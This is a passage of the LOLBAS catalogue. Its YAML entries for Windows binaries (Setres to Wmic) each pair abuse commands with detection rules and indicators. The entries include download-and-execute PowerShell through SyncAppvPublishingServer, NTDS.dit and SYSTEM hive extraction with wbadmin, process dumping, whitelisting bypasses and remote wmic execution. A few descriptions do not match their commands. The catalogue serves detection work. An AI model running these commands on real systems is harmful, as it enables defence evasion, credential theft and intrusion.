"---\nName: Setres.exe\nDescription: Configures display settings\nAuthor: Grzegorz Tworek\nCreated: 2022-10-21\nCommands:\n - Command: setres.exe -w 800 -h 600\n Description: Sets the resolution and then launches 'choice' command from the working directory.\n Usecase: Executes arbitrary code\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: c:\\windows\\system32\\setres.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_setres.yml\n - IOC: Unusual location for choice.exe file\n - IOC: Process created from choice.com binary\n - IOC: Existence of choice.cmd file\nResources:\n - Link: https://twitter.com/0gtweet/status/1583356502340870144\nAcknowledgement:\n - Person: Grzegorz Tworek\n Handle: '@0gtweet'\n" }, { "path": "yml/OSBinaries/SettingSyncHost.yml", "content": "---\nName: SettingSyncHost.exe\nDescription: Host Process for Setting Synchronization\nAuthor: Elliot Killick\nCreated: 2021-08-26\nCommands:\n - Command: SettingSyncHost -LoadAndRunDiagScript {PATH:.exe}\n Description: Execute file specified in %COMSPEC%\n Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 8, Windows 8.1, Windows 10\n Tags:\n - Execute: EXE\n - Command: SettingSyncHost -LoadAndRunDiagScriptNoCab {PATH:.bat}\n Description: Execute a batch script in the background (no window ever pops up) which can be subverted to running arbitrary programs by setting the current working directory to %TMP% and creating files such as reg.bat/reg.exe in that directory thereby causing them to execute instead of the ones in C:\\Windows\\System32.\n Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism. Additionally, effectively act as a -WindowStyle Hidden option (as there is in PowerShell) for any arbitrary batch file.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 8, Windows 8.1, Windows 10\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\System32\\SettingSyncHost.exe\n - Path: C:\\Windows\\SysWOW64\\SettingSyncHost.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_settingsynchost.yml\n - IOC: SettingSyncHost.exe should not be run on a normal workstation\nResources:\n - Link: https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin/\nAcknowledgement:\n - Person: Adam\n Handle: '@hexacorn'\n - Person: Elliot Killick\n Handle: '@elliotkillick'\n" }, { "path": "yml/OSBinaries/Sftp.yml", "content": "---\nName: Sftp.exe\nDescription: sftp.exe is a Windows command-line utility that uses the Secure File Transfer Protocol (SFTP) to securely transfer files between a local machine and a remote server.\nAuthor: Swachchhanda Shrawan Poudel\nCreated: 2025-05-13\nCommands:\n - Command: sftp -o ProxyCommand=\"{CMD}\" .\n Description: \"Spawns ssh.exe which in turn spawns the specified command line. See also this project's entry for ssh.exe.\"\n Usecase: Proxy execution of specified command, can be used as a defensive evasion.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\System32\\OpenSSH\\sftp.exe\nDetection:\n - IOC: sftp.exe executions with ProxyCommand on the command line\n - IOC: sftp.exe spawning ssh.exe with ProxyCommand on the command line\n - Sigma: https://github.com/SigmaHQ/sigma/pull/5414/files\nResources:\n - Link: https://news.sophos.com/en-us/2025/05/09/lumma-stealer-coming-and-going/\nAcknowledgement:\n - Person: Swachchhanda Shrawan Poudel\n Handle: '@_swachchhanda_'\n" }, { "path": "yml/OSBinaries/Sigverif.yml", "content": "---\nName: Sigverif.exe\nDescription: File Signature Verification utility to verify digital signatures of files\nAuthor: Moshe Kaplan\nCreated: 2021-11-08\nCommands:\n - Command: sigverif.exe\n Description: Launch sigverif.exe GUI, click 'Advanced', specify arbitrary executable path as 'log file name', then click 'View Log' to execute the binary.\n Usecase: Execute arbitrary programs through a trusted Microsoft-signed binary to bypass application whitelisting.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Application: GUI\nFull_Path:\n - Path: C:\\Windows\\System32\\sigverif.exe\n - Path: C:\\Windows\\SysWOW64\\sigverif.exe\nDetection:\n - IOC: sigverif.exe spawning unexpected child processes\nResources:\n - Link: https://twitter.com/0gtweet/status/1457676633809330184\n - Link: https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/\nAcknowledgement:\n - Person: Grzegorz Tworek\n Handle: '@0gtweet'\n - Person: Adam\n Handle: '@Hexacorn'\n" }, { "path": "yml/OSBinaries/Ssh.yml", "content": "---\nName: ssh.exe\nDescription: Ssh.exe is the OpenSSH compatible client can be used to connect to Windows 10 (build 1809 and later) and Windows Server 2019 devices.\nAuthor: Akshat Pradhan\nCreated: 2021-11-08\nCommands:\n - Command: ssh localhost \"{CMD}\"\n Description: Executes specified command on host machine. The prompt for password can be eliminated by adding the host's public key in the user's authorized_keys file. Adversaries can do the same for execution on remote machines.\n Usecase: Execute specified command, can be used for defense evasion.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10 1809, Windows Server 2019\n Tags:\n - Execute: CMD\n - Command: ssh -o ProxyCommand=\"{CMD}\" .\n Description: Executes specified command from ssh.exe\n Usecase: Performs execution of specified file, can be used as a defensive evasion.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: c:\\windows\\system32\\OpenSSH\\ssh.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ssh.yml\n - IOC: Event ID 4624 with process name C:\\Windows\\System32\\OpenSSH\\sshd.exe.\n - IOC: command line arguments specifying execution.\nResources:\n - Link: https://gtfobins.github.io/gtfobins/ssh/\nAcknowledgement:\n - Person: Akshat Pradhan\n - Person: Felix Boulet\n" }, { "path": "yml/OSBinaries/Stordiag.yml", "content": "---\nName: Stordiag.exe\nDescription: Storage diagnostic tool\nAuthor: 'Eral4m'\nCreated: 2021-10-21\nCommands:\n - Command: stordiag.exe\n Description: Once executed, Stordiag.exe will execute schtasks.exe systeminfo.exe and fltmc.exe - if stordiag.exe is copied to a folder and an arbitrary executable is renamed to one of these names, stordiag.exe will execute it.\n Usecase: Possible defence evasion purposes.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10\n Tags:\n - Execute: EXE\n - Command: stordiag.exe\n Description: Once executed, Stordiag.exe will execute schtasks.exe and powershell.exe - if stordiag.exe is copied to a folder and an arbitrary executable is renamed to one of these names, stordiag.exe will execute it.\n Usecase: Possible defence evasion purposes.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: c:\\windows\\system32\\stordiag.exe\n - Path: c:\\windows\\syswow64\\stordiag.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml\n - IOC: systeminfo.exe, fltmc.exe or schtasks.exe or powershell.exe being executed outside of their normal path of c:\\windows\\system32\\ or c:\\windows\\syswow64\\\nResources:\n - Link: https://twitter.com/eral4m/status/1451112385041911809\nAcknowledgement:\n - Person: Eral4m\n Handle: '@eral4m'\n - Person: Ekitji\n Handle: '@eki_erk'\n" }, { "path": "yml/OSBinaries/Syncappvpublishingserver.yml", "content": "---\nName: SyncAppvPublishingServer.exe\nDescription: Used by App-v to get App-v server lists\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: SyncAppvPublishingServer.exe \"n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX\"\n Description: Example command on how inject Powershell code into the process\n Usecase: Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10 1709, Windows 10 1703, Windows 10 1607\n Tags:\n - Execute: PowerShell\nFull_Path:\n - Path: C:\\Windows\\System32\\SyncAppvPublishingServer.exe\n - Path: C:\\Windows\\SysWOW64\\SyncAppvPublishingServer.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml\n - IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed\nResources:\n - Link: https://twitter.com/monoxgas/status/895045566090010624\nAcknowledgement:\n - Person: Nick Landers\n Handle: '@monoxgas'\n" }, { "path": "yml/OSBinaries/Tar.yml", "content": "---\nName: Tar.exe\nDescription: Used by Windows to extract and create archives.\nAuthor: Brian Lucero\nCreated: 2023-01-30\nCommands:\n - Command: tar -cf {PATH}:ads {PATH_ABSOLUTE:folder}\n Description: Compress one or more files to an alternate data stream (ADS).\n Usecase: Can be used to evade defensive countermeasures, or to hide as part of a persistence mechanism\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Type: Compression\n - Command: tar -xf {PATH}:ads\n Description: Decompress a compressed file from an alternate data stream (ADS).\n Usecase: Can be used to evade defensive countermeasures, or to hide as part of a persistence mechanism\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Type: Compression\n - Command: tar -xf {PATH_SMB:.tar}\n Description: Extracts archive.tar from the remote (internal) host to the current host.\n Usecase: Copy files\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Type: Compression\nFull_Path:\n - Path: C:\\Windows\\System32\\tar.exe\n - Path: C:\\Windows\\SysWOW64\\tar.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_tar_compression.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_tar_extraction.yml\n - IOC: tar.exe extracting files from a remote host within the environment\n - IOC: Abnormal processes spawning tar.exe\n - IOC: tar.exe interacting with alternate data streams (ADS)\nResources:\n - Link: https://twitter.com/Cyber_Sorcery/status/1619819249886969856\nAcknowledgement:\n - Person: Brian Lucero\n Handle: '@Cyber_Sorcery'\n - Person: Avester Fahimipour\n" }, { "path": "yml/OSBinaries/Ttdinject.yml", "content": "---\nName: Ttdinject.exe\nDescription: Used by Windows 1809 and newer to Debug Time Travel (Underlying call of tttracer.exe)\nAuthor: Maxime Nadeau\nCreated: 2020-05-12\nCommands:\n - Command: TTDInject.exe /ClientParams \"7 tmp.run 0 0 0 0 0 0 0 0 0 0\" /Launch \"{PATH:.exe}\"\n Description: Execute a program using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated.\n Usecase: Spawn process using other binary\n Category: Execute\n Privileges: Administrator\n MitreID: T1127\n OperatingSystem: Windows 10 2004 and above, Windows 11\n Tags:\n - Execute: EXE\n - Command: ttdinject.exe /ClientScenario TTDRecorder /ddload 0 /ClientParams \"7 tmp.run 0 0 0 0 0 0 0 0 0 0\" /launch \"{PATH:.exe}\"\n Description: Execute a program using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated.\n Usecase: Spawn process using other binary\n Category: Execute\n Privileges: Administrator\n MitreID: T1127\n OperatingSystem: Windows 10 1909 and below\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\ttdinject.exe\n - Path: C:\\Windows\\Syswow64\\ttdinject.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/7ea6ed3db65e0bd812b051d9bb4fffd27c4c4d0a/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml\n - IOC: Parent child relationship. Ttdinject.exe parent for executed command\n - IOC: Multiple queries made to the IFEO registry key of an untrusted executable (Ex. \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\payload.exe\") from the ttdinject.exe process\nResources:\n - Link: https://twitter.com/Oddvarmoe/status/1196333160470138880\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n - Person: Maxime Nadeau\n Handle: '@m_nad0'\n" }, { "path": "yml/OSBinaries/Tttracer.yml", "content": "---\nName: Tttracer.exe\nDescription: Used by Windows 1809 and newer to Debug Time Travel\nAuthor: Oddvar Moe\nCreated: 2019-11-05\nCommands:\n - Command: tttracer.exe {PATH_ABSOLUTE:.exe}\n Description: Execute specified executable from tttracer.exe. Requires administrator privileges.\n Usecase: Spawn process using other binary\n Category: Execute\n Privileges: Administrator\n MitreID: T1127\n OperatingSystem: Windows 10 1809 and newer, Windows 11\n Tags:\n - Execute: EXE\n - Command: TTTracer.exe -dumpFull -attach {PID}\n Description: Dumps process using tttracer.exe. Requires administrator privileges\n Usecase: Dump process by PID\n Category: Dump\n Privileges: Administrator\n MitreID: T1003\n OperatingSystem: Windows 10 1809 and newer, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\tttracer.exe\n - Path: C:\\Windows\\SysWOW64\\tttracer.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_tttracer_mod_load.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml\n - IOC: Parent child relationship. Tttracer parent for executed command\nResources:\n - Link: https://twitter.com/oulusoyum/status/1191329746069655553\n - Link: https://twitter.com/mattifestation/status/1196390321783025666\n - Link: https://lists.samba.org/archive/cifs-protocol/2016-April/002877.html\nAcknowledgement:\n - Person: Onur Ulusoy\n Handle: '@oulusoyum'\n - Person: Matt Graeber\n Handle: '@mattifestation'\n" }, { "path": "yml/OSBinaries/Unregmp2.yml", "content": "---\nName: Unregmp2.exe\nDescription: Microsoft Windows Media Player Setup Utility\nAuthor: Wade Hickey\nCreated: 2021-12-06\nCommands:\n - Command: rmdir %temp%\\lolbin /s /q 2>nul & mkdir \"%temp%\\lolbin\\Windows Media Player\" & copy C:\\Windows\\System32\\calc.exe \"%temp%\\lolbin\\Windows Media Player\\wmpnscfg.exe\" >nul && cmd /V /C \"set \"ProgramW6432=%temp%\\lolbin\" && unregmp2.exe /HideWMP\"\n Description: Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\\wmpnscfg.exe'.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\unregmp2.exe\n - Path: C:\\Windows\\SysWOW64\\unregmp2.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml\n - IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`\nResources:\n - Link: https://twitter.com/notwhickey/status/1466588365336293385\nAcknowledgement:\n - Person: Wade Hickey\n Handle: '@notwhickey'\n" }, { "path": "yml/OSBinaries/Vbc.yml", "content": "---\nName: vbc.exe\nDescription: Binary file used for compile vbs code\nAuthor: Lior Adar\nCreated: 2020-02-27\nCommands:\n - Command: vbc.exe /target:exe {PATH_ABSOLUTE:.vb}\n Description: Binary file used by .NET to compile Visual Basic code to an executable.\n Usecase: Compile attacker code on system. Bypass defensive counter measures.\n Category: Compile\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 7, Windows 10, Windows 11\n - Command: vbc -reference:Microsoft.VisualBasic.dll {PATH_ABSOLUTE:.vb}\n Description: Binary file used by .NET to compile Visual Basic code to an executable.\n Usecase: Compile attacker code on system. Bypass defensive counter measures.\n Category: Compile\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 7, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\vbc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\vbc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\vbc.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_dotnet_compiler_parent_process.toml\nAcknowledgement:\n - Person: Lior Adar\n - Person: Hai Vaknin(Lux)\n" }, { "path": "yml/OSBinaries/Verclsid.yml", "content": "---\nName: Verclsid.exe\nDescription: Used to verify a COM object before it is instantiated by Windows Explorer\nAuthor: '@bohops'\nCreated: 2018-12-04\nCommands:\n - Command: verclsid.exe /S /C {CLSID}\n Description: Used to verify a COM object before it is instantiated by Windows Explorer\n Usecase: Run a COM object created in registry to evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1218.012\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: COM\nFull_Path:\n - Path: C:\\Windows\\System32\\verclsid.exe\n - Path: C:\\Windows\\SysWOW64\\verclsid.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml\n - Splunk: https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/verclsid_clsid_execution.yml\nResources:\n - Link: https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5\n - Link: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/\nAcknowledgement:\n - Person: Nick Tyrer\n Handle: '@NickTyrer'\n" }, { "path": "yml/OSBinaries/Wab.yml", "content": "---\nName: Wab.exe\nDescription: Windows address book manager\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: wab.exe\n Description: Change HKLM\\Software\\Microsoft\\WAB\\DLLPath and execute DLL of choice\n Usecase: Execute dll file. Bypass defensive counter measures\n Category: Execute\n Privileges: Administrator\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Program Files\\Windows Mail\\wab.exe\n - Path: C:\\Program Files (x86)\\Windows Mail\\wab.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml\n - IOC: WAB.exe should normally never be used\nResources:\n - Link: https://twitter.com/Hexacorn/status/991447379864932352\n - Link: http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/\nAcknowledgement:\n - Person: Adam\n Handle: '@Hexacorn'\n" }, { "path": "yml/OSBinaries/Wbadmin.yml", "content": "---\nName: wbadmin.exe\nDescription: Windows Backup Administration utility\nAuthor: Chris Eastwood\nCreated: 2024-04-05\nCommands:\n - Command: wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\\Windows\\NTDS\\NTDS.dit,C:\\Windows\\System32\\config\\SYSTEM -quiet\n Description: Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)\n Usecase: Snapshoting of Active Directory NTDS.dit database\n Category: Dump\n Privileges: Administrator, Backup Operators, SeBackupPrivilege\n MitreID: T1003.003\n OperatingSystem: Windows Server\n - Command: wbadmin start recovery -version: -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\\Windows\\NTDS\\NTDS.dit,C:\\Windows\\System32\\config\\SYSTEM -notRestoreAcl -quiet\n Description: Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.\n Usecase: Dumping of Active Directory NTDS.dit database\n Category: Dump\n Privileges: Administrator, Backup Operators, SeBackupPrivilege\n MitreID: T1003.003\n OperatingSystem: Windows Server\nFull_Path:\n - Path: C:\\Windows\\System32\\wbadmin.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_file.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_sensitive_files.yml\n - IOC: wbadmin.exe command lines containing \"NTDS\" or \"NTDS.dit\"\nResources:\n - Link: https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960\n" }, { "path": "yml/OSBinaries/Wbemtest.yml", "content": "---\nName: wbemtest.exe\nDescription: WMI/WBEM Test Binary\nAuthor: saulpanders\nCreated: 2025-04-22\nCommands:\n - Command: wbemtest.exe\n Description: Execute arbitary commands through WMI through a GUI managment interface for Web Based Enterprise Management testing (WBEM). Uses WMI to Create and instance of a Win32_Process WMI class with a commandline argument of the target command to spawn. Spawns a GUI so it requires interactive access. For a demo, see link to blog in resources.\n Usecase: Execute arbitrary commands through WMI classes\n Category: Execute\n Privileges: Any\n MitreID: T1047\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Application: GUI\n - Execute: CMD\nFull_Path:\n - Path: c:\\windows\\system32\\wbem\\wbemtest.exe\nDetection:\n - IOC: wbemtest.exe binary spawned\nResources:\n - Link: https://saulpanders.github.io/2025/01/20/lolbas-wbemtest.html\nAcknowledgement:\n - Person: Paul Sanders\n Handle: '@saulpanders'\n" }, { "path": "yml/OSBinaries/Winget.yml", "content": "---\nName: winget.exe\nDescription: Windows Package Manager tool\nAuthor: Paul Sanders\nCreated: 2022-01-03\nCommands:\n - Command: winget.exe install --manifest {PATH:.yml}\n Description: 'Downloads a file from the web address specified in .yml file and executes it on the system. Local manifest setting must be enabled in winget for it to work: `winget settings --enable LocalManifestFiles`'\n Usecase: Download and execute an arbitrary file from the internet\n Category: Execute\n Privileges: Local Administrator - required to enable local manifest setting\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: Remote\n - Execute: EXE\n - Command: winget.exe install --accept-package-agreements -s msstore {name or ID}\n Description: 'Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine. For example, use \"Sysinternals Suite\" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.'\n Usecase: Download and install software from Microsoft Store, even if Microsoft Store App is blocked\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n - Command: winget.exe install --accept-package-agreements -s msstore {name or ID}\n Description: 'Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine, and even if AppLocker is active on the machine. For example, use \"Sysinternals Suite\" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.'\n Usecase: Download and install software from Microsoft Store, even if Microsoft Store App is blocked, and AppLocker is activated on the machine\n Category: AWL Bypass\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Users\\user\\AppData\\Local\\Microsoft\\WindowsApps\\winget.exe\nCode_Sample:\n - Code: https://gist.github.com/saulpanders/00e1177602a8c01a3a8bfa932b3886b0\nDetection:\n - IOC: winget.exe spawned with local manifest file\n - IOC: Sysmon Event ID 1 - Process Creation\n - Analysis: https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winget_local_install_via_manifest.yml\nResources:\n - Link: https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html\n - Link: https://docs.microsoft.com/en-us/windows/package-manager/winget/#production-recommended\n - Link: https://www.youtube.com/watch?v=zuL7x4Wltto\nAcknowledgement:\n - Person: Paul\n Handle: '@saulpanders'\n - Person: Konrad 'unrooted' Klawikowski\n - Person: Fredrik H. Brathen\n" }, { "path": "yml/OSBinaries/Wlrmdr.yml", "content": "---\nName: Wlrmdr.exe\nDescription: Windows Logon Reminder executable\nAuthor: Moshe Kaplan\nCreated: 2022-02-16\nCommands:\n - Command: \"wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe}\"\n Description: Execute executable with wlrmdr.exe as parent process\n Usecase: Use wlrmdr as a proxy binary to evade defensive countermeasures\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: c:\\windows\\system32\\wlrmdr.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml\n - IOC: wlrmdr.exe spawning any new processes\nResources:\n - Link: https://twitter.com/0gtweet/status/1493963591745220608\n - Link: https://twitter.com/Oddvarmoe/status/927437787242090496\n - Link: https://twitter.com/falsneg/status/1461625526640992260\n - Link: https://docs.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-notifyicondataw\nAcknowledgement:\n - Person: Grzegorz Tworek\n Handle: '@0gtweet'\n - Person: Oddvar Moe\n Handle: '@Oddvarmoe'\n - Person: Freddy\n Handle: '@falsneg'\n" }, { "path": "yml/OSBinaries/Wmic.yml", "content": "---\nName: Wmic.exe\nDescription: The WMI command-line (WMIC) utility provides a command-line interface for WMI\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: wmic.exe process call create \"{PATH_ABSOLUTE}:program.exe\"\n Description: Execute a .EXE file stored as an Alternate Data Stream (ADS)\n Usecase: Execute binary file hidden in Alternate data streams to evade defensive counter measures\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: wmic.exe process call create \"{CMD}\"\n Description: Execute calc from wmic\n Usecase: Execute binary from wmic to evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Command: wmic.exe /node:\"192.168.0.1\" process call create \"{CMD}\"\n Description: Execute evil.exe on the remote system.\n Usecase: Execute binary on a remote system\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Execute: Remote\n - Command: wmic.exe process get brief /format:\"{REMOTEURL:.xsl}\"\n Description: Create a volume shadow copy of NTDS.dit that can be copied.\n Usecase: Execute binary on remote system\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: XSL\n - Execute: Remote\n - Command: wmic.exe process get brief /format:\"{PATH_SMB:.xsl}\"\n Description: Executes JScript or VBScript embedded in the target remote XSL stylsheet.\n Usecase: Execute script from remote system\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: XSL\n - Execute: Remote\n - Command: wmic.exe datafile where \"Name='C:\\\\windows\\\\system32\\\\calc.exe'\" call Copy \"C:\\\\users\\\\public\\\\calc.exe\"\n Description: Copy file from source to destination.\n Usecase: Copy file.\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: 